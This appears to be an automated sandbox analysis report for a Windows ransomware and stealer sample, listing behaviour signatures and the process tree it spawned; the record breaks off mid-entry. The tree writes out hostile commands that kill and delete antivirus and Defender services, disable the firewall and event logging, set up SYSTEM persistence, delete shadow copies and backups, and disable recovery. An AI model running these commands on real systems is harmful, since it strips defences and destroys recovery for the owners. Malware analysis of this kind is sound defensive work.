Overview

overview

10

Static

static

10

2026-09-12...at.exe

windows10-2004-x64

8

2026-09-12...at.exe

windows11-ltsc_2024-x64

8

Analysis

  • max time kernel
    148s
  • max time network
    153s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    13/09/2026, 04:31

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    2026-09-12_2a3f24aad517bec7b7ac494a5fb90492_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
  • Size 9.2MB
  • Sample260913-e5qmzacl9s
  • SHA256 c881c7db1652ac76643e8aaf4adb83d15e93a6cc7ada54cce6e5e9ed597ad808
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10
defense_evasiondiscoveryexecutionexploitpersistenceprivilege_escalationransomwareupx

Malware Config

Signatures

  • Modifies Windows Firewall 2 TTPs 3 IoCs
    defense_evasion
  • Possible privilege escalation attempt 64 IoCs
    exploit
  • Disables service(s) 3 TTPs
    defense_evasionexecution
  • Loads dropped DLL 63 IoCs
  • Modifies file permissions 1 TTPs 64 IoCs
    discovery
  • Stops running service(s) 4 TTPs
    defense_evasionexecution
  • Looks up external IP address via web service 1 TTPs 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

    discovery
  • Drops file in System32 directory 2 IoCs
  • UPX packed file 64 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Launches sc.exe 64 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

    execution
  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

    persistenceprivilege_escalation
  • Executes a command shell one-liner 1 TTPs 22 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 41 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

    discovery
  • Kills process with taskkill 43 IoCs
    defense_evasion
  • Opens file in notepad (likely ransom note) 2 IoCs
    ransomware
  • Runs net.exe
  • Runs ping.exe 1 TTPs 41 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-09-12_2a3f24aad517bec7b7ac494a5fb90492_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-09-12_2a3f24aad517bec7b7ac494a5fb90492_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3936
    • C:\Users\Admin\AppData\Local\Temp\2026-09-12_2a3f24aad517bec7b7ac494a5fb90492_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
      "C:\Users\Admin\AppData\Local\Temp\2026-09-12_2a3f24aad517bec7b7ac494a5fb90492_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe"
      2⤵
      • Loads dropped DLL
      • Drops file in System32 directory
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3388
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "schtasks /create /tn "IronChain_SYSTEM" /tr "C:\Users\Admin\AppData\Local\Temp\2026-09-12_2a3f24aad517bec7b7ac494a5fb90492_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe C:\Users\Admin\AppData\Local\Temp\2026-09-12_2a3f24aad517bec7b7ac494a5fb90492_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe" /sc onstart /ru SYSTEM /rl HIGHEST /f"
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:1928
        • C:\Windows\system32\schtasks.exe
          schtasks /create /tn "IronChain_SYSTEM" /tr "C:\Users\Admin\AppData\Local\Temp\2026-09-12_2a3f24aad517bec7b7ac494a5fb90492_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe C:\Users\Admin\AppData\Local\Temp\2026-09-12_2a3f24aad517bec7b7ac494a5fb90492_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe" /sc onstart /ru SYSTEM /rl HIGHEST /f
          4⤵
          • Scheduled Task/Job: Scheduled Task
          PID:4092
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "schtasks /run /tn "IronChain_SYSTEM""
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:4952
        • C:\Windows\system32\schtasks.exe
          schtasks /run /tn "IronChain_SYSTEM"
          4⤵
            PID:1792
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "netsh advfirewall set allprofiles state off"
          3⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:3516
          • C:\Windows\system32\netsh.exe
            netsh advfirewall set allprofiles state off
            4⤵
            • Modifies Windows Firewall
            • Event Triggered Execution: Netsh Helper DLL
            PID:4176
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "sc stop EventLog"
          3⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:5872
          • C:\Windows\system32\sc.exe
            sc stop EventLog
            4⤵
            • Launches sc.exe
            PID:5476
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "sc config EventLog start= disabled"
          3⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:1400
          • C:\Windows\system32\sc.exe
            sc config EventLog start= disabled
            4⤵
            • Launches sc.exe
            PID:4820
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "sc stop Resmon"
          3⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:4660
          • C:\Windows\system32\sc.exe
            sc stop Resmon
            4⤵
            • Launches sc.exe
            PID:4896
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "sc config Resmon start= disabled"
          3⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:792
          • C:\Windows\system32\sc.exe
            sc config Resmon start= disabled
            4⤵
            • Launches sc.exe
            PID:5040
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c C:\Windows\System32\svchost_killer.bat
          3⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:3336
          • C:\Windows\system32\taskkill.exe
            taskkill /f /im avp.exe
            4⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:5208
          • C:\Windows\system32\taskkill.exe
            taskkill /f /im ksde.exe
            4⤵
            • Kills process with taskkill
            PID:5116
          • C:\Windows\system32\taskkill.exe
            taskkill /f /im kavsvc.exe
            4⤵
            • Kills process with taskkill
            PID:2144
        • C:\Windows\SYSTEM32\taskkill.exe
          taskkill /f /im Taskmgr.exe
          3⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:6072
        • C:\Windows\SYSTEM32\taskkill.exe
          taskkill /f /im regedit.exe
          3⤵
          • Kills process with taskkill
          PID:4416
        • C:\Windows\SYSTEM32\taskkill.exe
          taskkill /f /im cmd.exe
          3⤵
          • Kills process with taskkill
          PID:5692
        • C:\Windows\SYSTEM32\taskkill.exe
          taskkill /f /im msconfig.exe
          3⤵
          • Kills process with taskkill
          PID:5764
        • C:\Windows\SYSTEM32\taskkill.exe
          taskkill /f /im procexp.exe
          3⤵
          • Kills process with taskkill
          PID:1700
        • C:\Windows\SYSTEM32\taskkill.exe
          taskkill /f /im procexp64.exe
          3⤵
          • Kills process with taskkill
          PID:5560
        • C:\Windows\SYSTEM32\taskkill.exe
          taskkill /f /im services.msc
          3⤵
          • Kills process with taskkill
          PID:2348
        • C:\Windows\SYSTEM32\taskkill.exe
          taskkill /f /im mmc.exe
          3⤵
          • Kills process with taskkill
          PID:4500
        • C:\Windows\SYSTEM32\taskkill.exe
          taskkill /f /im SystemSettings.exe
          3⤵
          • Kills process with taskkill
          PID:260
        • C:\Windows\SYSTEM32\taskkill.exe
          taskkill /f /im control.exe
          3⤵
          • Kills process with taskkill
          PID:1504
        • C:\Windows\SYSTEM32\taskkill.exe
          taskkill /f /im WindowsSecurity.exe
          3⤵
          • Kills process with taskkill
          PID:4592
        • C:\Windows\SYSTEM32\taskkill.exe
          taskkill /f /im MsMpEng.exe
          3⤵
          • Kills process with taskkill
          PID:2976
        • C:\Windows\SYSTEM32\taskkill.exe
          taskkill /f /im powershell.exe
          3⤵
          • Kills process with taskkill
          PID:4432
        • C:\Windows\SYSTEM32\taskkill.exe
          taskkill /f /im pwsh.exe
          3⤵
          • Kills process with taskkill
          PID:5648
        • C:\Windows\SYSTEM32\taskkill.exe
          taskkill /f /im taskkill.exe
          3⤵
          • Kills process with taskkill
          PID:5040
        • C:\Windows\SYSTEM32\taskkill.exe
          taskkill /f /im wmic.exe
          3⤵
          • Kills process with taskkill
          PID:2408
        • C:\Windows\SYSTEM32\taskkill.exe
          taskkill /f /im diskpart.exe
          3⤵
          • Kills process with taskkill
          PID:1284
        • C:\Windows\SYSTEM32\net.exe
          net stop AVP /y
          3⤵
            PID:2496
            • C:\Windows\system32\net1.exe
              C:\Windows\system32\net1 stop AVP /y
              4⤵
                PID:4524
            • C:\Windows\SYSTEM32\sc.exe
              sc config AVP start= disabled
              3⤵
              • Launches sc.exe
              PID:5676
            • C:\Windows\SYSTEM32\sc.exe
              sc delete AVP
              3⤵
                PID:1076
              • C:\Windows\SYSTEM32\net.exe
                net stop KAV /y
                3⤵
                  PID:3184
                  • C:\Windows\system32\net1.exe
                    C:\Windows\system32\net1 stop KAV /y
                    4⤵
                      PID:1368
                  • C:\Windows\SYSTEM32\sc.exe
                    sc config KAV start= disabled
                    3⤵
                    • Launches sc.exe
                    PID:5808
                  • C:\Windows\SYSTEM32\sc.exe
                    sc delete KAV
                    3⤵
                    • Launches sc.exe
                    PID:2708
                  • C:\Windows\SYSTEM32\net.exe
                    net stop BDSS /y
                    3⤵
                      PID:3020
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 stop BDSS /y
                        4⤵
                          PID:876
                      • C:\Windows\SYSTEM32\sc.exe
                        sc config BDSS start= disabled
                        3⤵
                        • Launches sc.exe
                        PID:2940
                      • C:\Windows\SYSTEM32\sc.exe
                        sc delete BDSS
                        3⤵
                        • Launches sc.exe
                        PID:2988
                      • C:\Windows\SYSTEM32\net.exe
                        net stop Bitdefender /y
                        3⤵
                          PID:988
                          • C:\Windows\system32\net1.exe
                            C:\Windows\system32\net1 stop Bitdefender /y
                            4⤵
                              PID:1728
                          • C:\Windows\SYSTEM32\sc.exe
                            sc config Bitdefender start= disabled
                            3⤵
                              PID:4328
                            • C:\Windows\SYSTEM32\sc.exe
                              sc delete Bitdefender
                              3⤵
                                PID:4356
                              • C:\Windows\SYSTEM32\net.exe
                                net stop "avast! Antivirus" /y
                                3⤵
                                  PID:4740
                                  • C:\Windows\system32\net1.exe
                                    C:\Windows\system32\net1 stop "avast! Antivirus" /y
                                    4⤵
                                      PID:3620
                                  • C:\Windows\SYSTEM32\sc.exe
                                    sc config "avast! Antivirus" start= disabled
                                    3⤵
                                    • Launches sc.exe
                                    PID:5624
                                  • C:\Windows\SYSTEM32\sc.exe
                                    sc delete "avast! Antivirus"
                                    3⤵
                                    • Launches sc.exe
                                    PID:6048
                                  • C:\Windows\SYSTEM32\net.exe
                                    net stop "avast! Service" /y
                                    3⤵
                                      PID:4152
                                      • C:\Windows\system32\net1.exe
                                        C:\Windows\system32\net1 stop "avast! Service" /y
                                        4⤵
                                          PID:2524
                                      • C:\Windows\SYSTEM32\sc.exe
                                        sc config "avast! Service" start= disabled
                                        3⤵
                                        • Launches sc.exe
                                        PID:4320
                                      • C:\Windows\SYSTEM32\sc.exe
                                        sc delete "avast! Service"
                                        3⤵
                                        • Launches sc.exe
                                        PID:2616
                                      • C:\Windows\SYSTEM32\net.exe
                                        net stop AVG /y
                                        3⤵
                                          PID:1940
                                          • C:\Windows\system32\net1.exe
                                            C:\Windows\system32\net1 stop AVG /y
                                            4⤵
                                              PID:852
                                          • C:\Windows\SYSTEM32\sc.exe
                                            sc config AVG start= disabled
                                            3⤵
                                            • Launches sc.exe
                                            PID:2364
                                          • C:\Windows\SYSTEM32\sc.exe
                                            sc delete AVG
                                            3⤵
                                            • Launches sc.exe
                                            PID:4100
                                          • C:\Windows\SYSTEM32\net.exe
                                            net stop MBAMService /y
                                            3⤵
                                              PID:4352
                                              • C:\Windows\system32\net1.exe
                                                C:\Windows\system32\net1 stop MBAMService /y
                                                4⤵
                                                  PID:4300
                                              • C:\Windows\SYSTEM32\sc.exe
                                                sc config MBAMService start= disabled
                                                3⤵
                                                  PID:612
                                                • C:\Windows\SYSTEM32\sc.exe
                                                  sc delete MBAMService
                                                  3⤵
                                                  • Launches sc.exe
                                                  PID:1280
                                                • C:\Windows\SYSTEM32\net.exe
                                                  net stop DrWeb /y
                                                  3⤵
                                                    PID:708
                                                    • C:\Windows\system32\net1.exe
                                                      C:\Windows\system32\net1 stop DrWeb /y
                                                      4⤵
                                                        PID:2180
                                                    • C:\Windows\SYSTEM32\sc.exe
                                                      sc config DrWeb start= disabled
                                                      3⤵
                                                      • Launches sc.exe
                                                      PID:416
                                                    • C:\Windows\SYSTEM32\sc.exe
                                                      sc delete DrWeb
                                                      3⤵
                                                      • Launches sc.exe
                                                      PID:2984
                                                    • C:\Windows\SYSTEM32\net.exe
                                                      net stop wscsvc /y
                                                      3⤵
                                                        PID:5748
                                                        • C:\Windows\system32\net1.exe
                                                          C:\Windows\system32\net1 stop wscsvc /y
                                                          4⤵
                                                            PID:2904
                                                        • C:\Windows\SYSTEM32\sc.exe
                                                          sc config wscsvc start= disabled
                                                          3⤵
                                                          • Launches sc.exe
                                                          PID:4696
                                                        • C:\Windows\SYSTEM32\sc.exe
                                                          sc delete wscsvc
                                                          3⤵
                                                          • Launches sc.exe
                                                          PID:4340
                                                        • C:\Windows\SYSTEM32\net.exe
                                                          net stop SecurityHealthService /y
                                                          3⤵
                                                            PID:5668
                                                            • C:\Windows\system32\net1.exe
                                                              C:\Windows\system32\net1 stop SecurityHealthService /y
                                                              4⤵
                                                                PID:3712
                                                            • C:\Windows\SYSTEM32\sc.exe
                                                              sc config SecurityHealthService start= disabled
                                                              3⤵
                                                              • Launches sc.exe
                                                              PID:4140
                                                            • C:\Windows\SYSTEM32\sc.exe
                                                              sc delete SecurityHealthService
                                                              3⤵
                                                              • Launches sc.exe
                                                              PID:2688
                                                            • C:\Windows\SYSTEM32\net.exe
                                                              net stop Sense /y
                                                              3⤵
                                                                PID:120
                                                                • C:\Windows\system32\net1.exe
                                                                  C:\Windows\system32\net1 stop Sense /y
                                                                  4⤵
                                                                    PID:1980
                                                                • C:\Windows\SYSTEM32\sc.exe
                                                                  sc config Sense start= disabled
                                                                  3⤵
                                                                  • Launches sc.exe
                                                                  PID:2632
                                                                • C:\Windows\SYSTEM32\sc.exe
                                                                  sc delete Sense
                                                                  3⤵
                                                                  • Launches sc.exe
                                                                  PID:1272
                                                                • C:\Windows\SYSTEM32\net.exe
                                                                  net stop WinDefend /y
                                                                  3⤵
                                                                    PID:3816
                                                                    • C:\Windows\system32\net1.exe
                                                                      C:\Windows\system32\net1 stop WinDefend /y
                                                                      4⤵
                                                                        PID:796
                                                                    • C:\Windows\SYSTEM32\sc.exe
                                                                      sc config WinDefend start= disabled
                                                                      3⤵
                                                                        PID:4892
                                                                      • C:\Windows\SYSTEM32\sc.exe
                                                                        sc delete WinDefend
                                                                        3⤵
                                                                        • Launches sc.exe
                                                                        PID:2704
                                                                      • C:\Windows\SYSTEM32\net.exe
                                                                        net stop WdNisSvc /y
                                                                        3⤵
                                                                          PID:4820
                                                                          • C:\Windows\system32\net1.exe
                                                                            C:\Windows\system32\net1 stop WdNisSvc /y
                                                                            4⤵
                                                                              PID:5008
                                                                          • C:\Windows\SYSTEM32\sc.exe
                                                                            sc config WdNisSvc start= disabled
                                                                            3⤵
                                                                            • Launches sc.exe
                                                                            PID:5828
                                                                          • C:\Windows\SYSTEM32\sc.exe
                                                                            sc delete WdNisSvc
                                                                            3⤵
                                                                              PID:464
                                                                            • C:\Windows\SYSTEM32\net.exe
                                                                              net stop MpKslDrv /y
                                                                              3⤵
                                                                                PID:5804
                                                                                • C:\Windows\system32\net1.exe
                                                                                  C:\Windows\system32\net1 stop MpKslDrv /y
                                                                                  4⤵
                                                                                    PID:5172
                                                                                • C:\Windows\SYSTEM32\sc.exe
                                                                                  sc config MpKslDrv start= disabled
                                                                                  3⤵
                                                                                  • Launches sc.exe
                                                                                  PID:2672
                                                                                • C:\Windows\SYSTEM32\sc.exe
                                                                                  sc delete MpKslDrv
                                                                                  3⤵
                                                                                  • Launches sc.exe
                                                                                  PID:3116
                                                                                • C:\Windows\SYSTEM32\net.exe
                                                                                  net stop NisSrv /y
                                                                                  3⤵
                                                                                    PID:2144
                                                                                    • C:\Windows\system32\net1.exe
                                                                                      C:\Windows\system32\net1 stop NisSrv /y
                                                                                      4⤵
                                                                                        PID:3920
                                                                                    • C:\Windows\SYSTEM32\sc.exe
                                                                                      sc config NisSrv start= disabled
                                                                                      3⤵
                                                                                      • Launches sc.exe
                                                                                      PID:1396
                                                                                    • C:\Windows\SYSTEM32\sc.exe
                                                                                      sc delete NisSrv
                                                                                      3⤵
                                                                                      • Launches sc.exe
                                                                                      PID:4256
                                                                                    • C:\Windows\SYSTEM32\svchost.exe
                                                                                      svchost.exe C:\Windows\system32\cmd.exe /c "Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\2026-09-12_2a3f24aad517bec7b7ac494a5fb90492_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe""
                                                                                      3⤵
                                                                                        PID:2468
                                                                                      • C:\Windows\SYSTEM32\svchost.exe
                                                                                        svchost.exe C:\Windows\system32\cmd.exe /c "sc create IronChainSecurity binPath= "C:\Users\Admin\AppData\Local\Temp\2026-09-12_2a3f24aad517bec7b7ac494a5fb90492_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe" start= auto DisplayName= "IronChain Security Component""
                                                                                        3⤵
                                                                                          PID:4340
                                                                                        • C:\Windows\SYSTEM32\svchost.exe
                                                                                          svchost.exe C:\Windows\system32\cmd.exe /c "sc description IronChainSecurity "Trusted security module""
                                                                                          3⤵
                                                                                            PID:2188
                                                                                          • C:\Windows\SYSTEM32\svchost.exe
                                                                                            svchost.exe C:\Windows\system32\cmd.exe /c "sc start IronChainSecurity"
                                                                                            3⤵
                                                                                              PID:5796
                                                                                            • C:\Windows\SYSTEM32\svchost.exe
                                                                                              svchost.exe C:\Windows\system32\cmd.exe /c "sc failure IronChainSecurity reset= 86400 actions= restart/5000/restart/5000/restart/5000"
                                                                                              3⤵
                                                                                                PID:6024
                                                                                              • C:\Windows\SYSTEM32\svchost.exe
                                                                                                svchost.exe C:\Windows\system32\cmd.exe /c "sc critical IronChainSecurity"
                                                                                                3⤵
                                                                                                  PID:4440
                                                                                                • C:\Windows\SYSTEM32\svchost.exe
                                                                                                  svchost.exe C:\Windows\system32\cmd.exe /c "wbadmin delete catalog -quiet"
                                                                                                  3⤵
                                                                                                    PID:3596
                                                                                                  • C:\Windows\SYSTEM32\svchost.exe
                                                                                                    svchost.exe C:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"
                                                                                                    3⤵
                                                                                                      PID:3240
                                                                                                    • C:\Windows\SYSTEM32\svchost.exe
                                                                                                      svchost.exe C:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled no"
                                                                                                      3⤵
                                                                                                        PID:4500
                                                                                                      • C:\Windows\SYSTEM32\svchost.exe
                                                                                                        svchost.exe C:\Windows\system32\cmd.exe /c "bcdedit /set {default} bootstatuspolicy ignoreallfailures"
                                                                                                        3⤵
                                                                                                          PID:4984
                                                                                                        • C:\Windows\SYSTEM32\svchost.exe
                                                                                                          svchost.exe C:\Windows\system32\cmd.exe /c "bcdedit /set {default} safeboot minimal"
                                                                                                          3⤵
                                                                                                            PID:5656
                                                                                                          • C:\Windows\SYSTEM32\svchost.exe
                                                                                                            svchost.exe C:\Windows\system32\cmd.exe /c "reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v DisableSR /t REG_DWORD /d 1 /f"
                                                                                                            3⤵
                                                                                                              PID:2444
                                                                                                            • C:\Windows\SYSTEM32\svchost.exe
                                                                                                              svchost.exe C:\Windows\system32\cmd.exe /c "reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v DisableConfig /t REG_DWORD /d 1 /f"
                                                                                                              3⤵
                                                                                                                PID:480
                                                                                                              • C:\Windows\SYSTEM32\svchost.exe
                                                                                                                svchost.exe C:\Windows\system32\cmd.exe /c "sc config swprv start= disabled"
                                                                                                                3⤵
                                                                                                                  PID:5216
                                                                                                                • C:\Windows\SYSTEM32\svchost.exe
                                                                                                                  svchost.exe C:\Windows\system32\cmd.exe /c "sc stop swprv"
                                                                                                                  3⤵
                                                                                                                    PID:4524
                                                                                                                  • C:\Windows\SYSTEM32\mshta.exe
                                                                                                                    mshta.exe C:\Users\Admin\Desktop\IronChain.hta
                                                                                                                    3⤵
                                                                                                                      PID:4468
                                                                                                                    • C:\Windows\system32\NOTEPAD.EXE
                                                                                                                      "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\PLEASEREADTHIS.txt
                                                                                                                      3⤵
                                                                                                                      • Opens file in notepad (likely ransom note)
                                                                                                                      PID:4888
                                                                                                                    • C:\Windows\SYSTEM32\svchost.exe
                                                                                                                      svchost.exe C:\Windows\system32\cmd.exe /c "icacls "C:\Users\Admin\AppData\Local\Temp\_MEI39362\IronChain.py" /reset"
                                                                                                                      3⤵
                                                                                                                        PID:3352
                                                                                                                      • C:\Windows\SYSTEM32\svchost.exe
                                                                                                                        svchost.exe C:\Windows\system32\cmd.exe /c "icacls "C:\Users\Admin\AppData\Local\Temp\_MEI39362\IronChain.py" /inheritance:d"
                                                                                                                        3⤵
                                                                                                                          PID:4824
                                                                                                                        • C:\Windows\SYSTEM32\svchost.exe
                                                                                                                          svchost.exe C:\Windows\system32\cmd.exe /c "icacls "C:\Users\Admin\AppData\Local\Temp\_MEI39362\IronChain.py" /remove "Administrators""
                                                                                                                          3⤵
                                                                                                                            PID:5072
                                                                                                                          • C:\Windows\SYSTEM32\svchost.exe
                                                                                                                            svchost.exe C:\Windows\system32\cmd.exe /c "icacls "C:\Users\Admin\AppData\Local\Temp\_MEI39362\IronChain.py" /remove "Admin""
                                                                                                                            3⤵
                                                                                                                              PID:4268
                                                                                                                            • C:\Windows\SYSTEM32\svchost.exe
                                                                                                                              svchost.exe C:\Windows\system32\cmd.exe /c "icacls "C:\Users\Admin\AppData\Local\Temp\_MEI39362\IronChain.py" /remove "Authenticated Users""
                                                                                                                              3⤵
                                                                                                                                PID:1480
                                                                                                                              • C:\Windows\SYSTEM32\svchost.exe
                                                                                                                                svchost.exe C:\Windows\system32\cmd.exe /c "icacls "C:\Users\Admin\AppData\Local\Temp\_MEI39362\IronChain.py" /grant "Users:RX""
                                                                                                                                3⤵
                                                                                                                                  PID:396
                                                                                                                                • C:\Windows\SYSTEM32\svchost.exe
                                                                                                                                  svchost.exe C:\Windows\system32\cmd.exe /c "icacls "C:\Users\Admin\AppData\Local\Temp\_MEI39362\IronChain.py" /inheritance:d"
                                                                                                                                  3⤵
                                                                                                                                    PID:6096
                                                                                                                                  • C:\Windows\SYSTEM32\route.exe
                                                                                                                                    route print 0.0.0.0
                                                                                                                                    3⤵
                                                                                                                                      PID:256
                                                                                                                                    • C:\Windows\SYSTEM32\svchost.exe
                                                                                                                                      svchost.exe C:\Windows\system32\cmd.exe /c "powershell -Command "(New-Object -COMObject Shell.Application).NameSpace(17).ParseName({_96[0]})).InvokeVerb(Eject)""
                                                                                                                                      3⤵
                                                                                                                                        PID:6200
                                                                                                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                        powershell -Command "Get-WmiObject Win32_NetworkAdapterConfiguration | Where-Object { $_.IPEnabled -eq $true } | Select-Object -ExpandProperty IPAddress"
                                                                                                                                        3⤵
                                                                                                                                        • Command and Scripting Interpreter: PowerShell
                                                                                                                                        PID:6220
                                                                                                                                      • C:\Windows\SYSTEM32\takeown.exe
                                                                                                                                        takeown /f \\?\C:\Users\Admin\Desktop\BackupConnect.M2V
                                                                                                                                        3⤵
                                                                                                                                        • Possible privilege escalation attempt
                                                                                                                                        PID:6492
                                                                                                                                      • C:\Windows\SYSTEM32\takeown.exe
                                                                                                                                        takeown /f \\?\C:\Users\Admin\Desktop\BlockConvertFrom.bmp
                                                                                                                                        3⤵
                                                                                                                                          PID:6524
                                                                                                                                        • C:\Windows\SYSTEM32\takeown.exe
                                                                                                                                          takeown /f \\?\C:\Users\Admin\Desktop\ConfirmComplete.txt
                                                                                                                                          3⤵
                                                                                                                                          • Possible privilege escalation attempt
                                                                                                                                          PID:6636
                                                                                                                                        • C:\Windows\SYSTEM32\takeown.exe
                                                                                                                                          takeown /f \\?\C:\Users\Admin\Desktop\ConnectConvertTo.rmi
                                                                                                                                          3⤵
                                                                                                                                          • Possible privilege escalation attempt
                                                                                                                                          PID:6644
                                                                                                                                        • C:\Windows\SYSTEM32\takeown.exe
                                                                                                                                          takeown /f \\?\C:\Users\Admin\Desktop\ConnectMerge.tmp
                                                                                                                                          3⤵
                                                                                                                                            PID:6652
                                                                                                                                          • C:\Windows\SYSTEM32\takeown.exe
                                                                                                                                            takeown /f \\?\C:\Users\Admin\Desktop\ConvertFind.WTV
                                                                                                                                            3⤵
                                                                                                                                            • Modifies file permissions
                                                                                                                                            PID:6660
                                                                                                                                          • C:\Windows\SYSTEM32\takeown.exe
                                                                                                                                            takeown /f \\?\C:\Users\Admin\Desktop\ConvertFromResume.lock
                                                                                                                                            3⤵
                                                                                                                                              PID:6668
                                                                                                                                            • C:\Windows\SYSTEM32\takeown.exe
                                                                                                                                              takeown /f \\?\C:\Users\Admin\Desktop\DisableClose.dib
                                                                                                                                              3⤵
                                                                                                                                              • Modifies file permissions
                                                                                                                                              PID:6676
                                                                                                                                            • C:\Windows\SYSTEM32\takeown.exe
                                                                                                                                              takeown /f \\?\C:\Users\Admin\Desktop\EditRestart.pps
                                                                                                                                              3⤵
                                                                                                                                                PID:6684
                                                                                                                                              • C:\Windows\SYSTEM32\takeown.exe
                                                                                                                                                takeown /f \\?\C:\Users\Admin\Desktop\EnableGrant.rle
                                                                                                                                                3⤵
                                                                                                                                                • Modifies file permissions
                                                                                                                                                PID:6692
                                                                                                                                              • C:\Windows\SYSTEM32\takeown.exe
                                                                                                                                                takeown /f \\?\C:\Users\Admin\Desktop\ExitRead.clr
                                                                                                                                                3⤵
                                                                                                                                                  PID:6700
                                                                                                                                                • C:\Windows\SYSTEM32\takeown.exe
                                                                                                                                                  takeown /f \\?\C:\Users\Admin\Desktop\GroupConvert.m4v
                                                                                                                                                  3⤵
                                                                                                                                                  • Possible privilege escalation attempt
                                                                                                                                                  PID:6708
                                                                                                                                                • C:\Windows\SYSTEM32\takeown.exe
                                                                                                                                                  takeown /f \\?\C:\Users\Admin\Desktop\HideGet.gif
                                                                                                                                                  3⤵
                                                                                                                                                  • Possible privilege escalation attempt
                                                                                                                                                  • Modifies file permissions
                                                                                                                                                  PID:6716
                                                                                                                                                • C:\Windows\SYSTEM32\takeown.exe
                                                                                                                                                  takeown /f \\?\C:\Users\Admin\Desktop\ImportMount.docx
                                                                                                                                                  3⤵
                                                                                                                                                    PID:6724
                                                                                                                                                  • C:\Windows\SYSTEM32\takeown.exe
                                                                                                                                                    takeown /f \\?\C:\Users\Admin\Desktop\InstallUnpublish.csv
                                                                                                                                                    3⤵
                                                                                                                                                    • Modifies file permissions
                                                                                                                                                    PID:6732
                                                                                                                                                  • C:\Windows\SYSTEM32\takeown.exe
                                                                                                                                                    takeown /f \\?\C:\Users\Admin\Desktop\desktop.ini
                                                                                                                                                    3⤵
                                                                                                                                                      PID:6964
                                                                                                                                                    • C:\Windows\SYSTEM32\icacls.exe
                                                                                                                                                      icacls \\?\C:\Users\Admin\Desktop\BackupConnect.M2V /grant Admin:F
                                                                                                                                                      3⤵
                                                                                                                                                        PID:6304
                                                                                                                                                      • C:\Windows\SYSTEM32\icacls.exe
                                                                                                                                                        icacls \\?\C:\Users\Admin\Desktop\BlockConvertFrom.bmp /grant Admin:F
                                                                                                                                                        3⤵
                                                                                                                                                        • Possible privilege escalation attempt
                                                                                                                                                        PID:6364
                                                                                                                                                      • C:\Windows\SYSTEM32\icacls.exe
                                                                                                                                                        icacls \\?\C:\Users\Admin\Desktop\ConnectMerge.tmp /grant Admin:F
                                                                                                                                                        3⤵
                                                                                                                                                          PID:6632
                                                                                                                                                        • C:\Windows\SYSTEM32\icacls.exe
                                                                                                                                                          icacls \\?\C:\Users\Admin\Desktop\ConvertFind.WTV /grant Admin:F
                                                                                                                                                          3⤵
                                                                                                                                                            PID:6528
                                                                                                                                                          • C:\Windows\SYSTEM32\icacls.exe
